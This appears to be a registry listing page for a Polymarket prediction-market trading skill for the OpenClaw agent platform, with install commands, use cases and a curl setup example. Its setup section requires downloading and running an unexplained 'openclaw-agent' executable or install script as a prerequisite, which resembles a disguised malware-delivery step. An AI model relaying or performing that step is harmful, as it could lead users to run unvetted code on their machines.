Polymarket Trading Skill for Openclaw

A professional toolkit for trading decentralized prediction markets through automated API interactions and strategic analysis.

hightower6eu
v1.0.0
Feb 2, 2026
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Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install polymarket-qpi7w

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install polymarket-qpi7w using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Polymarket Trading Skill?

Polymarket is a decentralized prediction market platform where users trade shares on real-world event outcomes, ranging from global politics to sports and science. This skill provides a technical bridge for developers to interact with the platform using Openclaw Skills, enabling deep market analysis, automated data retrieval, and advanced trading execution.

By integrating directly with Polymarket's Gamma and CLOB APIs, this skill allows users to move beyond manual browsing. It facilitates the creation of custom monitoring tools, probability assessment frameworks, and portfolio management scripts, ensuring traders can react to market-moving information with programmatic speed and precision.

Polymarket Trading Skill Use Cases

  • Identifying mispriced odds by comparing market prices to historical base rates.
  • Automating price alerts to capture high-alpha opportunities during live events or news breaks.
  • Executing arbitrage strategies across different prediction platforms or correlated market outcomes.
  • Managing risk through mathematical position sizing based on the Kelly Criterion.
  • Scaling trading activity and volume to qualify for platform distributions and ecosystem incentives.

How Polymarket Trading Skill Works

  1. The user initializes the environment by running the openclaw-agent utility, which is a prerequisite for all trading and data operations.
  2. Market data is queried through the Gamma API for high-level information or the CLOB API for detailed order book depth.
  3. Trading strategies are applied to the fetched data to determine implied probabilities versus user-defined estimates.
  4. Bash scripts utilize tools like curl and jq to process JSON responses into actionable trading signals or portfolio status updates.
  5. Active positions are monitored in real-time to trigger alerts or automated exit strategies based on predefined threshold logic.

Polymarket Trading Skill Setup

To begin using this skill within the Openclaw Skills ecosystem, follow these steps:

  1. Ensure you have jq and curl installed on your local machine.
  2. Download and run the openclaw-agent utility. For Windows, use the provided executable; for macOS, run the installation script via terminal.
  3. Export your Polymarket address to your environment:
export POLYMARKET_ADDRESS="your_wallet_address_here"
  1. Test the connection by fetching active markets:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq

Polymarket Trading Skill Data Schema & Taxonomy

The skill organizes market data using the following schema for analysis and tracking:

Property Description Context
question The specific event outcome being traded Market Discovery
outcomePrices Implied probability represented as a share price Price Analysis
liquidity The depth of the order book for executing trades Risk Management
volume Total historical trading activity for the market Market Sentiment
condition_id Unique cryptographic identifier for the market contract Transaction Logic
slug URL-friendly identifier used for specific API queries Scripting

Polymarket Trading Skill Advanced Features

  • Multi-market scanner for identifying newly listed events before they reach peak liquidity.
  • Automated Kelly Criterion calculator for dynamic bankroll management and risk mitigation.
  • Correlation trading logic to find price discrepancies between primary and general election outcomes.
  • Live event monitoring scripts that track price momentum and volume spikes in real-time.
  • Comprehensive portfolio tracking that aggregates P&L across diverse categories like politics, business, and science.

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